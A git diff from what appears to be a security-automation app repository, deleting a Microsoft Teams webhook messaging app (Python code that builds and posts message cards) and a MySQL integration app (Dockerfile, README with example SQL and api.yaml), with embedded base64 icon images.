4/gvEwJYhhAZi2obbrzz3zv7vutqvRX1+XPYECIeG0CdA0EP/1IvrzCrCfxM3LSIqPOQ8gOSCZ/Sln7xo4TpFjdKLu5nUn9XRM5GbS7eFdlEg+tLk9tcEMnCSznxWCKkWX0U05h9ECNutWG4JEZZVC8pGkWUSbJ6CTZLnhsYJYkbY6UXVgmysGk2tjBM4Wnrx9jCepIO80CHOXf1l6HvDkf+u8te/8Z9TPBABhgGSw1WJdFjo3nLdguGfm3jvca3Ot553/z9kejV1mwgkuvxsq2lMKNCduIcKE1sltgS52csdB0doJHB9fLg6JXJ4TSIh1UmR3BHjcEzSZ0nvk/2khUPaBulO0qvTBpOpSoULNydr4dCmqNh0OtBaSaonYFACrt5IPX15zo7Y7fvhH6+4m65mbxwKdp0NnzoB8e335kPfG/+8ajzws/x1pupLku2rT3aaYp2mSIIUR/iy5J8ft55lk6+udUgn9m4yZypjgZQKKIayMqkLAyJCYWgIGsQmj0thgtzNdQg9FCgrimIVyAXuGEgArm6ySlORJpHhFOciHK8Ar0oTxAJ9RIudjFl4KLSaM2uYTaii7AGkQ28l/n1/b5wNCKV5sVKYe6J703E+5Cw7gqV9fs80UggmQj3Jvx9KZQDaQZGTG8i2R+PD8VjuUBoCLvKeT2pUGggFsuwdxP4pXbkDASwhUgI78YTYXAgrxffEUJYYjyBPBTV4QEJSbSSCB1AJUXdNG2OC1DQZEP369ucfFQiXkHMI9Qg+i8VPYjSkA1yntzmIl6BQklGtTpKs6jeUGzU78hhKDaOGMVkqEHo2WyhBtFLhrxQJExRwi6XUywtQgAEG6lmB5YYZNVtZfhedB09PWbO2xl754FljCuh3QqnNhMs3GgMmmWgH8KJACLaneIKgBXiBGCI4kuF2AjxRWM4KbSTumlMj9YdNXxAGz71K9IezgehqdajeCZJY5G32hhDQNtwyqSGzUpzlkmd2mB+oE0kCmx2NkTMWpheh+Xl1E8Q6TB3YKZQVpfyLmUTCjPZ2bG+OKtAIUmWK7vDlVVy5ey2HpIG+NTGOh7b2PCNbbhxTP1SDgUm0IipDVBQovut+RVwpEyO6JmUZsCJ9EwO8Yt8iWR5QLWIiGrh5xERPUREYe4Q2VAt2Y5BFg+yRJG5g7KhX0VpuAcFmfFfIqL2lI3MHZQNfaw3MQ2pF71oc9jRykSBEo+hCSJ+C8YAfhaI8GzB7mR3mBPJyNAQM22hF2Hpsdl7sNM1tE0kbBaJPgYRCVyBv5gFuwUykK3H5UsPsjxIPU6vw+5CNhSC0hCJic2tHCjfzhYBsPrzL4WYRYY4cGOqGziwZGJKExH1xKNoTPx22cQkfqnoGgwJohhmI3cUiGh80eYiG5mY8EnWP1A02QzExuLWTUPDs2YjtyLrICin8EHgu/SG5yIahJ5RZfnqUuLGYmzht1nMXTRYBWNUNx8l6ZIttUgP9potHWQLolUobFMSH9bhYBYwB/wUG4F+6zObHrAlK5bOzFA/EVV+lt98VOVnbJMaDEeJn5mGExtFmxuKjcKhU7xr9KK6oQ9ixIC2/wcjP6B7AWaL0QAAAABJRU5ErkJggg== diff --git a/microsoft-teams/1.0.0/requirements.txt b/microsoft-teams/1.0.0/requirements.txt deleted file mode 100644 index fd7d3e06..00000000 --- a/microsoft-teams/1.0.0/requirements.txt +++ /dev/null @@ -1 +0,0 @@ -requests==2.25.1 \ No newline at end of file diff --git a/microsoft-teams/1.0.0/src/__pycache__/teams.cpython-38.pyc b/microsoft-teams/1.0.0/src/__pycache__/teams.cpython-38.pyc deleted file mode 100644 index 1c3e43a2..00000000 Binary files a/microsoft-teams/1.0.0/src/__pycache__/teams.cpython-38.pyc and /dev/null differ diff --git a/microsoft-teams/1.0.0/src/__pycache__/teams.cpython-39.pyc b/microsoft-teams/1.0.0/src/__pycache__/teams.cpython-39.pyc deleted file mode 100644 index 90a9ca6d..00000000 Binary files a/microsoft-teams/1.0.0/src/__pycache__/teams.cpython-39.pyc and /dev/null differ diff --git a/microsoft-teams/1.0.0/src/app.py b/microsoft-teams/1.0.0/src/app.py deleted file mode 100644 index 0c072f89..00000000 --- a/microsoft-teams/1.0.0/src/app.py +++ /dev/null @@ -1,119 +0,0 @@ -import socket -import asyncio -import time -import random -import json -import teams #We have made changes to pymsteams module so please use teams.py DO NOT USE pymsteams.py - -from walkoff_app_sdk.app_base import AppBase - -class MsTeams(AppBase): - __version__ = "1.0.0" - app_name = "Microsoft Teams" # this needs to match "name" in api.yaml - - def __init__(self, redis, logger, console_logger=None): - """ - Each app should have this __init__ to set up Redis and logging. - :param redis: - :param logger: - :param console_logger: - """ - super().__init__(redis, logger, console_logger) - - # Write your data inside this function - def send_simple_text(self, webhook_url, message): - try: - myTeamsMessage = teams.connectorcard(str(webhook_url)) # You must create the connectorcard object with the Microsoft Webhook URL - myTeamsMessage.text(message) # Add text to the message. - myTeamsMessage.send()# send the message. - except Exception as e: - return f'{e.__class__} occured' - - return f'Message Sent' - - def send_rich_text(self, webhook_url, title, message, link_button_text, link_button_url): - try: - myTeamsMessage = teams.connectorcard(webhook_url) # You must create the connectorcard object with the Microsoft Webhook URL - myTeamsMessage.title(title) # title for your card - myTeamsMessage.text(message) # Add text to the message. - myTeamsMessage.addLinkButton(str(link_button_text), str(link_button_url)) # for button - myTeamsMessage.send()# send the message. - except Exception as e: - return f'{e.__class__} occured' - - return f'Message Sent' - - def send_actionable_msg(self, webhook_url, title, message, added_information, choices, callback_url): - try: - myTeamsMessage = teams.connectorcard(webhook_url) # You must create the connectorcard object with the Microsoft Webhook URL - myTeamsMessage.title(title) # title for your card - myTeamsMessage.text(message) # Add text to the message. - myTeamsPotentialAction3 = teams.potentialaction(_name = "Select_Action") - - if choices: - for choice in choices.split(","): - choice = choice.strip() - value = { - "choice": choice, - "extra": added_information, - } - - try: - choice_value = json.dumps(value) - except: - print("FAILED ENCODING {}".format(choice)) - choice_value = choice - - myTeamsPotentialAction3.choices.addChoices(choice, choice_value) #option 1 - - else: - value = { - "choice": "ACCEPT", - "extra": added_information, - } - - #print(f"VALUE: {value}") - - try: - accept = json.dumps(value) - except: - print("FAILED ENCODING ACCEPT") - accept = "ACCEPT" - - myTeamsPotentialAction3.choices.addChoices("Accept", accept) #option 1 - - value["choice"] = "REJECT" - try: - deny = json.dumps(value) - except: - print("FAILED ENCODING REJECT") - deny = "REJECT" - - myTeamsPotentialAction3.choices.addChoices("Reject", deny) #option 2 - - myTeamsPotentialAction3.addInput("MultichoiceInput","list","Select Action", False) #Dropdown menu - myTeamsPotentialAction3.addAction("HttpPost","Submit",callback_url) #post request to Shuffle - myTeamsMessage.addPotentialAction(myTeamsPotentialAction3) - myTeamsMessage.send()# send the message. - except Exception as e: - return f'{e} occured' - - return f'Message Sent' - - def get_user_input(self, webhook_url, title, message, callback_url): - try: - myTeamsMessage = teams.connectorcard(webhook_url) # You must create the connectorcard object with the Microsoft Webhook URL - myTeamsMessage.title(title) # Title for your card - myTeamsMessage.text(message) # Add text to the message. - myTeamsPotentialAction1 = teams.potentialaction(_name = "Comment") - myTeamsPotentialAction1.addInput("TextInput","comment", "Your text here..",False) - myTeamsPotentialAction1.addCommentAction("HttpPost","Submit", callback_url) - myTeamsMessage.addPotentialAction(myTeamsPotentialAction1) - myTeamsMessage.send() - except Exception as e: - return f'{e.__class__} occured' - - return f'Message Sent' - -if __name__ == "__main__": - MsTeams.run() diff --git a/microsoft-teams/1.0.0/src/teams.py b/microsoft-teams/1.0.0/src/teams.py deleted file mode 100644 index 31b69079..00000000 --- a/microsoft-teams/1.0.0/src/teams.py +++ /dev/null @@ -1,254 +0,0 @@ -#!/usr/bin/env python - -# reference: https://github.com/rveachkc/pymsteams/ -# reference: https://dev.outlook.com/connectors/reference - -import requests - -class TeamsWebhookException(Exception): - """custom exception for failed webhook call""" - pass - -class cardsection: - - def title(self, stitle): - # title of the section - self.payload["title"] = stitle - - def activityTitle(self, sactivityTitle): - # Title of the event or action. Often this will be the name of the "actor". - self.payload["activityTitle"] = sactivityTitle - - def activitySubtitle(self, sactivitySubtitle): - # A subtitle describing the event or action. Often this will be a summary of the action. - self.payload["activitySubtitle"] = sactivitySubtitle - - def activityImage(self, sactivityImage): - # URL to image or a data URI with the base64-encoded image inline. - # An image representing the action. Often this is an avatar of the "actor" of the activity. - self.payload["activityImage"] = sactivityImage - - def activityText(self, sactivityText): - # A full description of the action. - self.payload["activityText"] = sactivityText - - def addFact(self, factname, factvalue): - if "facts" not in self.payload.keys(): - self.payload["facts"] = [] - - newfact = { - "name" : factname, - "value" : factvalue - } - self.payload["facts"].append(newfact) - - def addImage(self, simage, ititle=None): - if "images" not in self.payload.keys(): - self.payload["images"] = [] - imobj = {} - imobj["image"] = simage - if ititle: - imobj["title"] = ititle - self.payload["images"].append(imobj) - - - def text(self, stext): - self.payload["text"] = stext - - def linkButton(self, buttontext, buttonurl): - self.payload["potentialAction"] = [ - { - "@context" : "http://schema.org", - "@type" : "ViewAction", - "name" : buttontext, - "target" : [ buttonurl ] - } - ] - - def disableMarkdown(self): - self.payload["markdown"] = False - - def enableMarkdown(self): - self.payload["markdown"] = True - - def dumpSection(self): - return self.payload - - def __init__(self): - self.payload = {} - - - -class potentialaction: - - def addInput(self,_type,_id,title, isMultiline = None): - if "inputs" not in self.payload.keys(): - self.payload["inputs"] = [] - if(self.choices.dumpChoices() == []): - input = { - "@type": _type, - "id": _id, - "isMultiline" :isMultiline, - "title": title - } - else: - input = { - "@type": _type, - "id": _id, - "isMultiline" :str(isMultiline).lower(), - "choices":self.choices.dumpChoices(), - "title": title - } - - self.payload["inputs"].append(input) - - def addAction(self,_type,_name,_target): - if "actions" not in self.payload.keys(): - self.payload["actions"] = [] - action = { - "@type": _type, - "name": _name, - "target": _target, - "body": "{{list.value}}" - } - self.payload["actions"].append(action) - - def addCommentAction(self,_type,_name,_target): - if "actions" not in self.payload.keys(): - self.payload["actions"] = [] - action = { - "@type": _type, - "name": _name, - "target": _target, - "body": "{{comment.value}}" - } - self.payload["actions"].append(action) - - def addOpenURI(self, _name, _targets): - """ - Creates a OpenURI action - - https://docs.microsoft.com/en-us/outlook/actionable-messages/message-card-reference#openuri-action - - :param _name: *Name of the text to appear inside the ActionCard* - :type _name: str - :param _targets: *A list of dictionaries, ex: `{"os": "default", "uri": "https://www..."}`* - :type _targets: list(dict()) - """ - self.payload["@type"] = "OpenUri" - self.payload["name"] = _name - if not isinstance(_targets, list): - raise TypeError("Target must be of type list(dict())") - self.payload["targets"] = _targets - - - def dumpPotentialAction(self): - return self.payload - - def __init__(self, _name, _type = "ActionCard"): - self.payload = {} - self.payload["@type"] = _type - self.payload["name"] = _name - self.choices = choice() - -class choice: - def __init__(self): - self.choices = [] - - def addChoices(self,_display,_value): - self.choices.append({ - "display": _display, - "value": _value - }) - def dumpChoices(self): - return self.choices - -class connectorcard: - - def text(self, mtext): - self.payload["text"] = mtext - - def title(self, mtitle): - self.payload["title"] = mtitle - - def summary(self, msummary): - self.payload["summary"] = msummary - - def color(self, mcolor): - if mcolor.lower() == "red": - self.payload["themeColor"] = "E81123" - else: - self.payload["themeColor"] = mcolor - - def addLinkButton(self, buttontext, buttonurl): - if "potentialAction" not in self.payload: - self.payload["potentialAction"] = [] - - thisbutton = { - "@context" : "http://schema.org", - "@type" : "ViewAction", - "name" : buttontext, - "target" : [ buttonurl ] - } - - self.payload["potentialAction"].append(thisbutton) - - def newhookurl(self, nhookurl): - self.hookurl = nhookurl - - def addSection(self, newsection): - # this function expects a cardsection object - if "sections" not in self.payload.keys(): - self.payload["sections"] = [] - - self.payload["sections"].append(newsection.dumpSection()) - - def addPotentialAction(self, newaction): - # this function expects a potential action object - if "potentialAction" not in self.payload.keys(): - self.payload["potentialAction"] = [] - - self.payload["potentialAction"].append(newaction.dumpPotentialAction()) - - def printme(self): - print("hookurl: %s" % self.hookurl) - print("payload: %s" % self.payload) - - def send(self): - headers = {"Content-Type":"application/json"} - r = requests.post( - self.hookurl, - json=self.payload, - headers=headers, - proxies=self.proxies, - timeout=self.http_timeout, - verify=self.verify, - ) - self.last_http_status = r - - if r.status_code == requests.codes.ok and r.text == '1': # pylint: disable=no-member - return True - else: - raise TeamsWebhookException(r.text) - - def __init__(self, hookurl, http_proxy=None, https_proxy=None, http_timeout=60, verify=None): - self.payload = {} - self.hookurl = hookurl - self.proxies = {} - self.http_timeout = http_timeout - self.verify = verify - self.last_http_response = None - - if http_proxy: - self.proxies['http'] = http_proxy - - if https_proxy: - self.proxies['https'] = https_proxy - - if not self.proxies: - self.proxies = None - - -def formaturl(display, url): - mdurl = "[%s](%s)" % (display, url) - return mdurl diff --git a/mysql/1.0.0/Dockerfile b/mysql/1.0.0/Dockerfile deleted file mode 100644 index dae558a5..00000000 --- a/mysql/1.0.0/Dockerfile +++ /dev/null @@ -1,29 +0,0 @@ -# Base our app image off of the WALKOFF App SDK image -FROM frikky/shuffle:app_sdk as base - -# We're going to stage away all of the bloat from the build tools so lets create a builder stage -FROM base as builder - -# Install all alpine build tools needed for our pip installs -RUN apk --no-cache add --update alpine-sdk libffi libffi-dev musl-dev openssl-dev - -# Install all of our pip packages in a single directory that we can copy to our base image later -RUN mkdir /install -WORKDIR /install -COPY requirements.txt /requirements.txt -RUN pip install --prefix="/install" -r /requirements.txt - -# Switch back to our base image and copy in all of our built packages and source code -FROM base -COPY --from=builder /install /usr/local -COPY src /app - -# Install any binary dependencies needed in our final image -# RUN apk --no-cache add --update my_binary_dependency - - -# Finally, lets run our app! -WORKDIR /app -CMD python app.py --log-level DEBUG - - diff --git a/mysql/1.0.0/README.md b/mysql/1.0.0/README.md deleted file mode 100644 index 8698fed0..00000000 --- a/mysql/1.0.0/README.md +++ /dev/null @@ -1,150 +0,0 @@ -# How to use MySQL App - -## Authentication - -For the authentication you will need: -- server; -- username; -- password; -- database. - -> **Note:** -> -> If you want to use authentication to create databases only, leave the database field empty. -> -> You can set a dynamic value for the authentication fields by manually insert it. For example in the database field: **$exec.database** - -## Actions - -### Create Database -Create a new database. If you want you can also create one or more tables. -Fields: -- name; -- tables. - -**Tables field example:** -Insert the table name and the query. -``` -{ - "employees": "CREATE TABLE `employees` (`emp_no` int(11) NOT NULL AUTO_INCREMENT, `first_name` varchar(14) NOT NULL, `last_name` varchar(16) NOT NULL, PRIMARY KEY (`emp_no`)) ENGINE=InnoDB", - "departments": "CREATE TABLE `departments` (`dept_no` char(4) NOT NULL, `dept_name` varchar(40) NOT NULL, PRIMARY KEY (`dept_no`), UNIQUE KEY `dept_name` (`dept_name`)) ENGINE=InnoDB" -} -``` - -### Create Tables -Create one or more tables. -Fields: -- tables. - -**Tables field example:** -Insert the table name and the query. -``` -{ - "employees": "CREATE TABLE `employees` (`emp_no` int(11) NOT NULL AUTO_INCREMENT, `first_name` varchar(14) NOT NULL, `last_name` varchar(16) NOT NULL, PRIMARY KEY (`emp_no`)) ENGINE=InnoDB", - "departments": "CREATE TABLE `departments` (`dept_no` char(4) NOT NULL, `dept_name` varchar(40) NOT NULL, PRIMARY KEY (`dept_no`), UNIQUE KEY `dept_name` (`dept_name`)) ENGINE=InnoDB" -} -``` - -### Insert Data -Insert data into mysql table. - -Fields: -- table; -- data. - -**Data field example:** -MySQL field data in JSON format, *it can be a list or not*. -``` -[{ - "title": "New Function1", - "text": "testing", - "time": 1617032159000 -}, -{ - "title": "New Function2", - "text": "testing", - "time": 1617032159000 -}] -``` - -### Query Data -Query the data inside a table. - -Fields: -- table; -- fields; -- condition. - -**Fields example:** -Table fields to be return. -``` -username, fname, lname, age -``` - -**Condition example:** -Query condition text after a WHERE clause. -``` -age=23 and gender='M' -``` - -### Update data -update data inside the table -Fields: -- table; -- fields; -- condition. -- data fields. - -**Fields example:** -Table fields to be return. -``` -["first_name","last_name"] -``` - -**Condition example:** -Query condition text after a WHERE clause. -``` -emp_no=1 -``` - -**Data Fields example:** -Table fields value to be updated. -``` -["jaydeep","kotak"] -``` - -### Delete data -delete data inside the table -Fields: -- table; -- condition -- fields;(optional) - -**Condition example:** -Query condition text after a WHERE clause. -``` -emp_no = 1 -``` -**Data Fields example:** -Table fields value to be deleted. -``` -["jaydeep","kotak"] -``` - -### Join Query -join two or more table and display data -Fields: -- type; -- fields. - -**Fields example:** -Table fields to be return. -``` - -SELECT * from employees INNER JOIN departments ON employees.emp_no = departments.emp_no -``` - -## Upcoming - -- Improve the tables field to be needed just to insert the table name once in the json as key, and for the value the table fields syntax. - diff --git a/mysql/1.0.0/api.yaml b/mysql/1.0.0/api.yaml deleted file mode 100644 index 95a4961c..00000000 --- a/mysql/1.0.0/api.yaml +++ /dev/null @@ -1,225 +0,0 @@ -app_version: 1.0.0 -name: MySQL -description: Mysql integration. Compatible with MSSQL and other SQL databases. -contact_info: - name: "@d4rkw0lv3s" - url: https://github.com/D4rkw0lv3s - email: d4rkw0lv3s@outlook.pt -tags: - - Mysql -categories: - - Intel - - Network -authentication: - required: true - parameters: - - name: server - description: mysql server ip or fqdn - example: "myserver.com or 127.0.0.1" - required: true - schema: - type: string - - name: user - description: mysql username - example: "root" - required: true - schema: - type: string - - name: password - description: mysql user password - example: "*****" - required: true - schema: - type: string - - name: database - description: mysql database - example: "my_database" - required: false - schema: - type: string -actions: - - name: create_database - description: Create a new database - parameters: - - name: name - description: mysql databse name - required: true - multiline: false - example: "my_database" - schema: - type: string - - name: tables - description: create new tables - required: false - multiline: true - example: '| - { - "employees": "CREATE TABLE `employees` ( `emp_no` int(11) NOT NULL AUTO_INCREMENT, `first_name` varchar(14) NOT NULL, `last_name` varchar(16) NOT NULL, PRIMARY KEY (`emp_no`)) ENGINE=InnoDB", - "departments": "CREATE TABLE `departments` ( `dept_no` char(4) NOT NULL, `dept_name` varchar(40) NOT NULL, PRIMARY KEY (`dept_no`), UNIQUE KEY `dept_name` (`dept_name`)) ENGINE=InnoDB" - }' - schema: - type: string - returns: - schema: - type: string - - name: create_tables - description: Create a new database - parameters: - - name: tables - description: create new tables - required: true - multiline: true - example: '| - { - "employees": "CREATE TABLE `employees` ( `emp_no` int(11) NOT NULL AUTO_INCREMENT, `first_name` varchar(14) NOT NULL, `last_name` varchar(16) NOT NULL, PRIMARY KEY (`emp_no`)) ENGINE=InnoDB", - "departments": "CREATE TABLE `departments` ( `dept_no` char(4) NOT NULL, `dept_name` varchar(40) NOT NULL, PRIMARY KEY (`dept_no`), UNIQUE KEY `dept_name` (`dept_name`)) ENGINE=InnoDB" - }' - schema: - type: string - returns: - schema: - type: string - - name: insert_data - description: Insert data into mysql table - parameters: - - name: table - description: mysql table name - required: true - multiline: false - example: "my_table" - schema: - type: string - - name: data - description: mysql data in JSON format, it can be a list or not - required: true - multiline: true - example: '| - [{ - "title": "New Function1", - "text": "testing", - "time": 1617032159000 - }, - { - "title": "New Function2", - "text": "testing", - "time": 1617032159000 - }]' - schema: - type: string - returns: - schema: - type: string - - name: query_data - description: Query data inside the table - parameters: - - name: table - description: table name - required: true - multiline: false - example: "my_table" - schema: - type: string - - name: fields - description: table fields to be return - required: false - multiline: false - example: "username, fname, lname" - schema: - type: string - - name: condition - description: query condition, the string after a WHERE - required: false - multiline: false - example: "id=123 and gender='M'" - schema: - type: string - returns: - schema: - type: string - - name: update_data - description: update data inside the table - parameters: - - name: table - description: table name - required: true - multiline: false - example: "my_table" - schema: - type: string - - name: fields - description: table fields to be return - required: false - multiline: false - example: '["username", "fname"]' - schema: - type: string - - name: condition - description: query condition, the string after a WHERE - required: false - multiline: false - example: "id=123 and gender='M'" - schema: - type: string - - name: data_value - description: query data, value - required: false - multiline: false - example: '["firstname","lastname"]' - schema: - type: string - returns: - schema: - type: string - - name: delete_data - description: delete data inside the table - parameters: - - name: table - description: table name - required: true - multiline: false - example: "my_table" - schema: - type: string - - name: condition - description: query condition, the string after a WHERE - required: false - multiline: false - example: "id=123 and gender='M'" - schema: - type: string - - name: fields - description: table fields to be return - required: false - multiline: false - example: "username, fname, lname" - schema: - type: string - returns: - schema: - type: string - - name: join - description: join multiple table - parameters: - - name: type - description: join type - required: true - multiline: false - example: "select here" - options: - - INNER JOIN - - LEFT JOIN - - RIGHT JOIN - - CROSS JOIN - schema: - type: string - - name: fields - description: table fields to be return - required: false - multiline: false - example: 'input query' - schema: - type: string - returns: - schema: - type: string -large_image: data:image/jpeg;base64,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